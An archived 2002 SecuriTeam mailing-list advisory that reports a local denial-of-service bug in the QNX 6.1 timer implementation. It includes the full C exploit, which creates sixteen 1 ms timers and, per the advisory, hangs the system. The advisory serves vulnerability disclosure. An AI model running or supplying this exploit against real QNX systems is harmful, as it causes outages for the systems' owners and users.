

# [EXPL] QNX Timer Implementation Vulnerable to DoS

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-11/0018.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 11/07/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 7 Nov 2002 11:04:37 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

## QNX Timer Implementation Vulnerable to DoS

---

### SUMMARY

Pawel has found a bug in QNX-6.1 timer implementation. After creating some number (at least 2) of timers with 1 ms tick system hangs.

### DETAILS

Vulnerable systems:

- \* QNX version 6.1

Exploit:

/\*

- \* QNX RTP 6.1 Local DoS exploit

\*

- \* author: Pawel Pisarczyk <[pawel@immos.com.pl](mailto:pawel@immos.com.pl)>, 2002

\*

- \* After compilation and output binary execution system hangs.

\*/

```
#include <errno.h>
```

```
#include <stdio.h>
```

```
#include <stddef.h>
```

```
#include <stdlib.h>
```

## Securiteam: [EXPL] QNX Timer Implementation Vulnerable to DoS

```
#include <unistd.h>
#include <pthread.h>
#include <sys/neutrino.h>
#include <inttypes.h>

int main(int argc, char *argv[])
{
    struct sigevent event;
    struct _itimer itimer;
    int chid;
    int tmid;
    int coid;
    int k;

    if ((chid = ChannelCreate(0)) < 0) {
        fprintf(stderr, "Can't create channel!\n");
        exit(-1);
    }

    if ((coid = ConnectAttach(0, getpid(), chid, 0, 0)) < 0) {
        fprintf(stderr, "Can't connect to channel!\n");
        exit(-1);
    }

    for (k = 0; k < 16; k++) {

        SIGEV_PULSE_INIT(&event, coid, 16, _PULSE_CODE_MINAVAIL + 1, k);

        if ((tmid = TimerCreate(CLOCK_REALTIME, &event)) < 0) {
            fprintf(stderr, "Can't create timer!\n");
            return -1;
        }

        itimer.nsec = 1000000;
        itimer.interval_nsec = 1000000;
        TimerSettime(tmid, 0, &itimer, NULL);
    }

    while (getc(stdin) != '#');
    return 0;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:pawel@immos.com.pl>> Pawel Pisarczyk.

Securiteam: [EXPL] QNX Timer Implementation Vulnerable to DoS

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- *Previous message:* [support@securiteam.com](mailto:support@securiteam.com): "[\[UNIX\] SnortCenter Temporary File Vulnerability](#)"
  - *Messages sorted by:* [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)